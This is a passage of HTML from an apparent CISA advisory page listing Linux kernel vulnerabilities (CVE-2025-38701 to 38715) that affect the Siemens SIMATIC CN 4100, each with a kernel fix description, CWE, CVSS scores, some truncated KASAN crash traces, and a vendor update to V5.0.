<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38701</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ext4: do not BUG when INLINE_DATA_FL lacks system.data xattr A syzbot fuzzed image triggered a BUG_ON in ext4_update_inline_data() when an inode had the INLINE_DATA_FL flag set but was missing the system.data extended attribute. Since this can happen due to a maiciouly fuzzed file system, we shouldn't BUG, but rather, report it as a corrupted file system. Add similar replacements of BUG_ON with EXT4_ERROR_INODE() ii ext4_create_inline_data() and ext4_inline_data_truncate().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38701">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/617.html">CWE-617 Reachable Assertion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38702</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fbdev: fix potential buffer overflow in do_register_framebuffer() The current implementation may lead to buffer overflow when: 1. Unregistration creates NULL gaps in registered_fb[] 2. All array slots become occupied despite num_registered_fb &lt; FB_MAX 3. The registration loop exceeds array bounds Add boundary check to prevent registered_fb[FB_MAX] access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38702">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38706</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ASoC: core: Check for rtd == NULL in snd_soc_remove_pcm_runtime() snd_soc_remove_pcm_runtime() might be called with rtd == NULL which will leads to null pointer dereference. This was reproduced with topology loading and marking a link as ignore due to missing hardware component on the system. On module removal the soc_tplg_remove_link() would call snd_soc_remove_pcm_runtime() with rtd == NULL since the link was ignored, no runtime was created.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38706">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38707</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: Add sanity check for file name The length of the file name should be smaller than the directory entry size.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38707">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38708</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: drbd: add missing kref_get in handle_write_conflicts With `two-primaries` enabled, DRBD tries to detect "concurrent" writes and handle write conflicts, so that even if you write to the same sector simultaneously on both nodes, they end up with the identical data once the writes are completed. In handling "superseeded" writes, we forgot a kref_get, resulting in a premature drbd_destroy_device and use after free, and further to kernel crashes with symptoms. Relevance: No one should use DRBD as a random data generator, and apparently all users of "two-primaries" handle concurrent writes correctly on layer up. That is cluster file systems use some distributed lock manager, and live migration in virtualization environments stops writes on one node before starting writes on the other node. Which means that other than for "test cases", this code path is never taken in real life. FYI, in DRBD 9, things are handled differently nowadays. We still detect "write conflicts", but no longer try to be smart about them. We decided to disconnect hard instead: upper layers must not submit concurrent writes. If they do, that's their fault.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38708">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38711</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: smb/server: avoid deadlock when linking with ReplaceIfExists If smb2_create_link() is called with ReplaceIfExists set and the name does exist then a deadlock will happen. ksmbd_vfs_kern_path_locked() will return with success and the parent directory will be locked. ksmbd_vfs_remove_file() will then remove the file. ksmbd_vfs_link() will then be called while the parent is still locked. It will try to lock the same parent and will deadlock. This patch moves the ksmbd_vfs_kern_path_unlock() call to *before* ksmbd_vfs_link() and then simplifies the code, removing the file_present flag variable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38711">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38712</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: hfsplus: don't use BUG_ON() in hfsplus_create_attributes_file() When the volume header contains erroneous values that do not reflect the actual state of the filesystem, hfsplus_fill_super() assumes that the attributes file is not yet created, which later results in hitting BUG_ON() when hfsplus_create_attributes_file() is called. Replace this BUG_ON() with -EIO error with a message to suggest running fsck tool.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38712">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38713</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds read in hfsplus_uni2asc() The hfsplus_readdir() method is capable to crash by calling hfsplus_uni2asc(): [ 667.121659][ T9805] ================================================================== [ 667.122651][ T9805] BUG: KASAN: slab-out-of-bounds in hfsplus_uni2asc+0x902/0xa10 [ 667.123627][ T9805] Read of size 2 at addr ffff88802592f40c by task repro/9805 [ 667.124578][ T9805] [ 667.124876][ T9805] CPU: 3 UID: 0 PID: 9805 Comm: repro Not tainted 6.16.0-rc3 #1 PREEMPT(full) [ 667.124886][ T9805] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 667.124890][ T9805] Call Trace: [ 667.124893][ T9805] [ 667.124896][ T9805] dump_stack_lvl+0x10e/0x1f0 [ 667.124911][ T9805] print_report+0xd0/0x660 [ 667.124920][ T9805] ? __virt_addr_valid+0x81/0x610 [ 667.124928][ T9805] ? __phys_addr+0xe8/0x180 [ 667.124934][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124942][ T9805] kasan_report+0xc6/0x100 [ 667.124950][ T9805] ? hfsplus_uni2asc+0x902/0xa10 [ 667.124959][ T9805] hfsplus_uni2asc+0x902/0xa10 [ 667.124966][ T9805] ? hfsplus_bnode_read+0x14b/0x360 [ 667.124974][ T9805] hfsplus_readdir+0x845/0xfc0 [ 667.124984][ T9805] ? __pfx_hfsplus_readdir+0x10/0x10 [ 667.124994][ T9805] ? stack_trace_save+0x8e/0xc0 [ 667.125008][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125015][ T9805] ? trace_lock_acquire+0x85/0xd0 [ 667.125022][ T9805] ? lock_acquire+0x30/0x80 [ 667.125029][ T9805] ? iterate_dir+0x18b/0xb20 [ 667.125037][ T9805] ? down_read_killable+0x1ed/0x4c0 [ 667.125044][ T9805] ? putname+0x154/0x1a0 [ 667.125051][ T9805] ? __pfx_down_read_killable+0x10/0x10 [ 667.125058][ T9805] ? apparmor_file_permission+0x239/0x3e0 [ 667.125069][ T9805] iterate_dir+0x296/0xb20 [ 667.125076][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.125084][ T9805] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 667.125091][ T9805] ? __x64_sys_openat+0x141/0x200 [ 667.125126][ T9805] ? __pfx_filldir64+0x10/0x10 [ 667.125134][ T9805] ? do_user_addr_fault+0x7fe/0x12f0 [ 667.125143][ T9805] do_syscall_64+0xc9/0x480 [ 667.125151][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.125158][ T9805] RIP: 0033:0x7fa8753b2fc9 [ 667.125164][ T9805] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 48 [ 667.125172][ T9805] RSP: 002b:00007ffe96f8e0f8 EFLAGS: 00000217 ORIG_RAX: 00000000000000d9 [ 667.125181][ T9805] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fa8753b2fc9 [ 667.125185][ T9805] RDX: 0000000000000400 RSI: 00002000000063c0 RDI: 0000000000000004 [ 667.125190][ T9805] RBP: 00007ffe96f8e110 R08: 00007ffe96f8e110 R09: 00007ffe96f8e110 [ 667.125195][ T9805] R10: 0000000000000000 R11: 0000000000000217 R12: 0000556b1e3b4260 [ 667.125199][ T9805] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 667.125207][ T9805] [ 667.125210][ T9805] [ 667.145632][ T9805] Allocated by task 9805: [ 667.145991][ T9805] kasan_save_stack+0x20/0x40 [ 667.146352][ T9805] kasan_save_track+0x14/0x30 [ 667.146717][ T9805] __kasan_kmalloc+0xaa/0xb0 [ 667.147065][ T9805] __kmalloc_noprof+0x205/0x550 [ 667.147448][ T9805] hfsplus_find_init+0x95/0x1f0 [ 667.147813][ T9805] hfsplus_readdir+0x220/0xfc0 [ 667.148174][ T9805] iterate_dir+0x296/0xb20 [ 667.148549][ T9805] __x64_sys_getdents64+0x13c/0x2c0 [ 667.148937][ T9805] do_syscall_64+0xc9/0x480 [ 667.149291][ T9805] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 667.149809][ T9805] [ 667.150030][ T9805] The buggy address belongs to the object at ffff88802592f000 [ 667.150030][ T9805] which belongs to the cache kmalloc-2k of size 2048 [ 667.151282][ T9805] The buggy address is located 0 bytes to the right of [ 667.151282][ T9805] allocated 1036-byte region [ffff88802592f000, ffff88802592f40c) [ 667.1 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38713">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38714</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: hfsplus: fix slab-out-of-bounds in hfsplus_bnode_read() The hfsplus_bnode_read() method can trigger the issue: [ 174.852007][ T9784] ================================================================== [ 174.852709][ T9784] BUG: KASAN: slab-out-of-bounds in hfsplus_bnode_read+0x2f4/0x360 [ 174.853412][ T9784] Read of size 8 at addr ffff88810b5fc6c0 by task repro/9784 [ 174.854059][ T9784] [ 174.854272][ T9784] CPU: 1 UID: 0 PID: 9784 Comm: repro Not tainted 6.16.0-rc3 #7 PREEMPT(full) [ 174.854281][ T9784] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 174.854286][ T9784] Call Trace: [ 174.854289][ T9784] [ 174.854292][ T9784] dump_stack_lvl+0x10e/0x1f0 [ 174.854305][ T9784] print_report+0xd0/0x660 [ 174.854315][ T9784] ? __virt_addr_valid+0x81/0x610 [ 174.854323][ T9784] ? __phys_addr+0xe8/0x180 [ 174.854330][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854337][ T9784] kasan_report+0xc6/0x100 [ 174.854346][ T9784] ? hfsplus_bnode_read+0x2f4/0x360 [ 174.854354][ T9784] hfsplus_bnode_read+0x2f4/0x360 [ 174.854362][ T9784] hfsplus_bnode_dump+0x2ec/0x380 [ 174.854370][ T9784] ? __pfx_hfsplus_bnode_dump+0x10/0x10 [ 174.854377][ T9784] ? hfsplus_bnode_write_u16+0x83/0xb0 [ 174.854385][ T9784] ? srcu_gp_start+0xd0/0x310 [ 174.854393][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854402][ T9784] hfsplus_brec_remove+0x3d2/0x4e0 [ 174.854411][ T9784] __hfsplus_delete_attr+0x290/0x3a0 [ 174.854419][ T9784] ? __pfx_hfs_find_1st_rec_by_cnid+0x10/0x10 [ 174.854427][ T9784] ? __pfx___hfsplus_delete_attr+0x10/0x10 [ 174.854436][ T9784] ? __asan_memset+0x23/0x50 [ 174.854450][ T9784] hfsplus_delete_all_attrs+0x262/0x320 [ 174.854459][ T9784] ? __pfx_hfsplus_delete_all_attrs+0x10/0x10 [ 174.854469][ T9784] ? rcu_is_watching+0x12/0xc0 [ 174.854476][ T9784] ? __mark_inode_dirty+0x29e/0xe40 [ 174.854483][ T9784] hfsplus_delete_cat+0x845/0xde0 [ 174.854493][ T9784] ? __pfx_hfsplus_delete_cat+0x10/0x10 [ 174.854507][ T9784] hfsplus_unlink+0x1ca/0x7c0 [ 174.854516][ T9784] ? __pfx_hfsplus_unlink+0x10/0x10 [ 174.854525][ T9784] ? down_write+0x148/0x200 [ 174.854532][ T9784] ? __pfx_down_write+0x10/0x10 [ 174.854540][ T9784] vfs_unlink+0x2fe/0x9b0 [ 174.854549][ T9784] do_unlinkat+0x490/0x670 [ 174.854557][ T9784] ? __pfx_do_unlinkat+0x10/0x10 [ 174.854565][ T9784] ? __might_fault+0xbc/0x130 [ 174.854576][ T9784] ? getname_flags.part.0+0x1c5/0x550 [ 174.854584][ T9784] __x64_sys_unlink+0xc5/0x110 [ 174.854592][ T9784] do_syscall_64+0xc9/0x480 [ 174.854600][ T9784] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 174.854608][ T9784] RIP: 0033:0x7f6fdf4c3167 [ 174.854614][ T9784] Code: f0 ff ff 73 01 c3 48 8b 0d 26 0d 0e 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 08 [ 174.854622][ T9784] RSP: 002b:00007ffcb948bca8 EFLAGS: 00000206 ORIG_RAX: 0000000000000057 [ 174.854630][ T9784] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6fdf4c3167 [ 174.854636][ T9784] RDX: 00007ffcb948bcc0 RSI: 00007ffcb948bcc0 RDI: 00007ffcb948bd50 [ 174.854641][ T9784] RBP: 00007ffcb948cd90 R08: 0000000000000001 R09: 00007ffcb948bb40 [ 174.854645][ T9784] R10: 00007f6fdf564fc0 R11: 0000000000000206 R12: 0000561e1bc9c2d0 [ 174.854650][ T9784] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 174.854658][ T9784] [ 174.854661][ T9784] [ 174.879281][ T9784] Allocated by task 9784: [ 174.879664][ T9784] kasan_save_stack+0x20/0x40 [ 174.880082][ T9784] kasan_save_track+0x14/0x30 [ 174.880500][ T9784] __kasan_kmalloc+0xaa/0xb0 [ 174.880908][ T9784] __kmalloc_noprof+0x205/0x550 [ 174.881337][ T9784] __hfs_bnode_create+0x107/0x890 [ 174.881779][ T9784] hfsplus_bnode_find+0x2d0/0xd10 [ 174.882222][ T9784] hfsplus_brec_find+0x2b0/0x520 [ 174.882659][ T9784] hfsplus_delete_all_attrs+0x23b/0x3 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38714">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38715</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: hfs: fix slab-out-of-bounds in hfs_bnode_read() This patch introduces is_bnode_offset_valid() method that checks the requested offset value. Also, it introduces check_and_correct_requested_length() method that checks and correct the requested length (if it is necessary). These methods are used in hfs_bnode_read(), hfs_bnode_write(), hfs_bnode_clear(), hfs_bnode_copy(), and hfs_bnode_move() with the goal to prevent the access out of allocated memory and triggering the crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38715">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
